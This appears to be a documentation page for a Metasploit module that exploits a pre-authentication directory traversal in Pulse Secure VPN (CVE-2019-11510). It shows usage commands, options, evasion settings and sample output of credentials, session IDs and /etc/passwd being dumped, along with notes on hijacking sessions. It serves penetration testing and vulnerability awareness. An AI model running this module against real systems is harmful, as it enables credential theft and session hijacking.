Pulse Secure VPN Arbitrary File Disclosure - Metasploit
This page contains detailed information about how to use the auxiliary/gather/pulse_secure_file_disclosure metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Pulse Secure VPN Arbitrary File Disclosure
Module: auxiliary/gather/pulse_secure_file_disclosure
Source code: modules/auxiliary/gather/pulse_secure_file_disclosure.rb
Disclosure date: 2019-04-24
Last modification time: 2020-01-14 00:34:06 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2019-11510
This module exploits a pre-auth directory traversal in the Pulse Secure VPN server to dump an arbitrary file. Dumped files are stored in loot. If the "Automatic" action is set, plaintext and hashed credentials, as well as session IDs, will be dumped. Valid sessions can be hijacked by setting the "DSIG" browser cookie to a valid session ID. For the "Manual" action, please specify a file to dump via the "FILE" option. /etc/passwd will be dumped by default. If the "PRINT" option is set, file contents will be printed to the screen, with any unprintable characters replaced by a period. Please see related module exploit/linux/http/pulse_secure_cmd_exec for a post-auth exploit that can leverage the results from this module.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Stability:
- crash-safe: Module should not crash the service.
Side Effects:
- ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
Basic Usage
msf > use auxiliary/gather/pulse_secure_file_disclosure
msf auxiliary(pulse_secure_file_disclosure) > show targets
... a list of targets ...
msf auxiliary(pulse_secure_file_disclosure) > set TARGET target-id
msf auxiliary(pulse_secure_file_disclosure) > show options
... show and set options ...
msf auxiliary(pulse_secure_file_disclosure) > exploit
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Introduction
This module exploits a pre-auth directory traversal in the Pulse Secure VPN server to dump an arbitrary file. Dumped files are stored in loot.
If the Automatic
action is set, plaintext and hashed credentials, as
well as session IDs, will be dumped. Valid sessions can be hijacked by
setting the DSIG
browser cookie to a valid session ID.
For the Manual
action, please specify a file to dump via the FILE
option. /etc/passwd
will be dumped by default. If the PRINT
option is
set, file contents will be printed to the screen, with any unprintable
characters replaced by a period.
Please see related module exploit/linux/http/pulse_secure_cmd_exec for a post-auth exploit that can leverage the results from this module.
Actions
Name Description
---- -----------
Automatic Dump creds and sessions
Manual Dump an arbitrary file (FILE option)
Options
FILE
Set this to the file you want to dump. The default is /etc/passwd
.
Valid only in manual mode.
Whether to print file contents to the screen. Valid only in manual mode.
Usage
Dumping creds and sessions in automatic mode:
msf5 auxiliary(gather/pulse_secure_file_disclosure) > run
[*] Running module against [redacted]
[*] Running in automatic mode
[*] Dumping /data/runtime/mtmp/lmdb/dataa/data.mdb
[+] /Users/wvu/.msf4/loot/20191029221840_default_[redacted]_PulseSecureVPN_273470.mdb
[*] Dumping /data/runtime/mtmp/lmdb/randomVal/data.mdb
[*] Parsing session IDs...
[+] Session ID found: df502e6052d9002d8f02160af8bfd055
[+] Session ID found: 249b470bd9bd1983f721ca950a74e61c
[+] Session ID found: acbef5625
[+] Session ID found: c145e683a
[+] Session ID found: fc6c097dd
[+] Session ID found: 249b470bd9bd1983f721ca950a74e61c
[+] Session ID found: c145e683a17cfacb72a47eb8b2515c14
[+] Session ID found: a7661751393e16fa253e97bd02dc2a4f
[+] Session ID found: 7e78ab276afea3f00dfa41892c437156c699eff8
[+] /Users/wvu/.msf4/loot/20191029221845_default_[redacted]_PulseSecureVPN_607925.mdb
[*] Dumping /data/runtime/mtmp/system
[+] /Users/wvu/.msf4/loot/20191029221851_default_[redacted]_PulseSecureVPN_530345.bin
[*] Auxiliary module execution completed
msf5 auxiliary(gather/pulse_secure_file_disclosure) > loot
Loot
====
host service type name content info path
---- ------- ---- ---- ------- ---- ----
[redacted] Pulse Secure VPN Arbitrary File Disclosure /data/runtime/mtmp/lmdb/dataa/data.mdb application/octet-stream Plaintext credentials /Users/wvu/.msf4/loot/20191029221840_default_[redacted]_PulseSecureVPN_273470.mdb
[redacted] Pulse Secure VPN Arbitrary File Disclosure /data/runtime/mtmp/lmdb/randomVal/data.mdb application/octet-stream Session IDs /Users/wvu/.msf4/loot/20191029221845_default_[redacted]_PulseSecureVPN_607925.mdb
[redacted] Pulse Secure VPN Arbitrary File Disclosure /data/runtime/mtmp/system application/octet-stream Hashed credentials /Users/wvu/.msf4/loot/20191029221851_default_[redacted]_PulseSecureVPN_530345.bin
msf5 auxiliary(gather/pulse_secure_file_disclosure) >
Dumping default /etc/passwd
in manual mode:
msf5 auxiliary(gather/pulse_secure_file_disclosure) > set action Manual
action => Manual
msf5 auxiliary(gather/pulse_secure_file_disclosure) > run
[*] Running module against [redacted]
[*] Running in manual mode
[*] Dumping /etc/passwd
root:x:0:0:root:/:/bin/bash
nfast:x:0:0:nfast:/:/bin/bash
bin:x:1:1:bin:/:
nobody:x:99:99:Nobody:/:
dns:x:98:98:DNS:/:
term:x:97:97:Telnet/SSH:/:
web80:x:96:96:Port 80 web:/:
rpc:x:32:32:Rpcbind Daemon:/var/cache/rpcbind:/sbin/nologin
postgres:x:102:102:PostgreSQL User:/:
[+] /Users/wvu/.msf4/loot/20191029222949_default_[redacted]_PulseSecureVPN_073170.bin
[*] Auxiliary module execution completed
msf5 auxiliary(gather/pulse_secure_file_disclosure) >
Go back to menu.
Msfconsole Usage
Here is how the gather/pulse_secure_file_disclosure auxiliary module looks in the msfconsole:
msf6 > use auxiliary/gather/pulse_secure_file_disclosure
msf6 auxiliary(gather/pulse_secure_file_disclosure) > show info
Name: Pulse Secure VPN Arbitrary File Disclosure
Module: auxiliary/gather/pulse_secure_file_disclosure
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2019-04-24
Provided by:
Orange Tsai
Meh Chang
Alyssa Herrera
Justin Wagner
wvu <[email protected]>
Module side effects:
ioc-in-logs
Module stability:
crash-safe
Available actions:
Name Description
---- -----------
Automatic Dump creds and sessions
Manual Dump an arbitrary file (FILE option)
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
FILE /etc/passwd yes File to dump (manual mode only)
PRINT true no Print file contents (manual mode only)
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 443 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Description:
This module exploits a pre-auth directory traversal in the Pulse
Secure VPN server to dump an arbitrary file. Dumped files are stored
in loot. If the "Automatic" action is set, plaintext and hashed
credentials, as well as session IDs, will be dumped. Valid sessions
can be hijacked by setting the "DSIG" browser cookie to a valid
session ID. For the "Manual" action, please specify a file to dump
via the "FILE" option. /etc/passwd will be dumped by default. If the
"PRINT" option is set, file contents will be printed to the screen,
with any unprintable characters replaced by a period. Please see
related module exploit/linux/http/pulse_secure_cmd_exec for a
post-auth exploit that can leverage the results from this module.
References:
https://nvd.nist.gov/vuln/detail/CVE-2019-11510
https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44101/
https://blog.orange.tw/2019/09/attacking-ssl-vpn-part-3-golden-pulse-secure-rce-chain.html
https://hackerone.com/reports/591295
Related modules:
exploit/linux/http/pulse_secure_cmd_exec
Module Options
This is a complete list of options available in the gather/pulse_secure_file_disclosure auxiliary module:
msf6 auxiliary(gather/pulse_secure_file_disclosure) > show options
Module options (auxiliary/gather/pulse_secure_file_disclosure):
Name Current Setting Required Description
---- --------------- -------- -----------
FILE /etc/passwd yes File to dump (manual mode only)
PRINT true no Print file contents (manual mode only)
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 443 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Auxiliary action:
Name Description
---- -----------
Automatic Dump creds and sessions
Advanced Options
Here is a complete list of advanced options supported by the gather/pulse_secure_file_disclosure auxiliary module:
msf6 auxiliary(gather/pulse_secure_file_disclosure) > show advanced
Module advanced options (auxiliary/gather/pulse_secure_file_disclosure):
Name Current Setting Required Description
---- --------------- -------- -----------
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout 5 no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the gather/pulse_secure_file_disclosure module can do:
msf6 auxiliary(gather/pulse_secure_file_disclosure) > show actions
Auxiliary actions:
Name Description
---- -----------
Automatic Dump creds and sessions
Manual Dump an arbitrary file (FILE option)
Evasion Options
Here is the full list of possible evasion options supported by the gather/pulse_secure_file_disclosure auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(gather/pulse_secure_file_disclosure) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Could not dump <PATH>
Here is a relevant code snippet related to the "Could not dump <PATH>" error message:
109: 'uri' => dir_traversal(path),
110: 'partial' => true # Allow partial response due to timeout
111: )
112:
113: unless res
114: fail_with(Failure::Unreachable, "Could not dump #{path}")
115: end
116:
117: handle_response(res, path, info)
118: end
119: end
Redirected to <RES.REDIRECTION>
Here is a relevant code snippet related to the "Redirected to <RES.REDIRECTION>" error message:
144: res.body, # data
145: path, # filename
146: info # info
147: ))
148: when 302
149: fail_with(Failure::NotVulnerable, "Redirected to #{res.redirection}")
150: when 400
151: print_error("Invalid path #{path}")
152: when 404
153: print_error("#{path} not found")
154: else
Invalid path <PATH>
Here is a relevant code snippet related to the "Invalid path <PATH>" error message:
146: info # info
147: ))
148: when 302
149: fail_with(Failure::NotVulnerable, "Redirected to #{res.redirection}")
150: when 400
151: print_error("Invalid path #{path}")
152: when 404
153: print_error("#{path} not found")
154: else
155: print_error("I don't know what a #{res.code} code is")
156: end
<PATH> not found
Here is a relevant code snippet related to the "<PATH> not found" error message:
148: when 302
149: fail_with(Failure::NotVulnerable, "Redirected to #{res.redirection}")
150: when 400
151: print_error("Invalid path #{path}")
152: when 404
153: print_error("#{path} not found")
154: else
155: print_error("I don't know what a #{res.code} code is")
156: end
157: end
158:
I don't know what a <RES.CODE> code is
Here is a relevant code snippet related to the "I don't know what a <RES.CODE> code is" error message:
150: when 400
151: print_error("Invalid path #{path}")
152: when 404
153: print_error("#{path} not found")
154: else
155: print_error("I don't know what a #{res.code} code is")
156: end
157: end
158:
159: def dir_traversal(path)
160: normalize_uri(
Go back to menu.
Related Pull Requests
- #12820 Merged Pull Request: Fix #12813, prefer send_request_cgi over send_request_raw
- #12816 Merged Pull Request: add citrix path traversal exploit
- #12511 Merged Pull Request: Pulse Secure VPN arbitrary file disclosure (redux)
References
- CVE-2019-11510
- https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44101/
- https://blog.orange.tw/2019/09/attacking-ssl-vpn-part-3-golden-pulse-secure-rce-chain.html
- https://hackerone.com/reports/591295
See Also
Check also the following modules related to this module:
- exploit/linux/http/pulse_secure_cmd_exec
- exploit/linux/http/pulse_secure_gzip_rce
- post/windows/gather/credentials/pulse_secure
- auxiliary/admin/http/webnms_cred_disclosure
- auxiliary/admin/webmin/file_disclosure
- auxiliary/gather/c2s_dvr_password_disclosure
- auxiliary/gather/cerberus_helpdesk_hash_disclosure
- auxiliary/gather/eventlog_cred_disclosure
- auxiliary/gather/f5_bigip_cookie_disclosure
- auxiliary/gather/flash_rosetta_jsonp_url_disclosure
- auxiliary/gather/ipcamera_password_disclosure
- auxiliary/gather/jetty_web_inf_disclosure
- auxiliary/gather/netgear_password_disclosure
- auxiliary/gather/zookeeper_info_disclosure
- auxiliary/scanner/http/apache_activemq_source_disclosure
- auxiliary/scanner/http/litespeed_source_disclosure
- auxiliary/scanner/http/nginx_source_disclosure
- auxiliary/scanner/http/wp_mobile_pack_info_disclosure
- auxiliary/scanner/misc/dvr_config_disclosure
- auxiliary/scanner/sap/sap_soap_th_saprel_disclosure
- auxiliary/gather/hikvision_info_disclosure_cve_2017_7921
- exploit/multi/http/zpanel_information_disclosure_rce
- exploit/windows/http/disk_pulse_enterprise_bof
- exploit/windows/http/disk_pulse_enterprise_get
- auxiliary/gather/android_browser_file_theft
- auxiliary/gather/android_htmlfileprovider
- auxiliary/gather/darkcomet_filedownloader
- auxiliary/gather/firefox_pdfjs_file_theft
- auxiliary/gather/ie_sandbox_findfiles
- auxiliary/gather/mikrotik_winbox_fileread
- auxiliary/gather/nuuo_cms_file_download
- auxiliary/gather/rails_doubletap_file_read
- auxiliary/gather/safari_file_url_navigation
- auxiliary/admin/networking/cisco_secure_acs_bypass
- auxiliary/scanner/http/wp_secure_copy_content_protection_sqli
Related Nessus plugins:
Authors
- Orange Tsai
- Meh Chang
- Alyssa Herrera
- Justin Wagner
- wvu
Version
This page has been produced using Metasploit Framework version 6.2.26-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.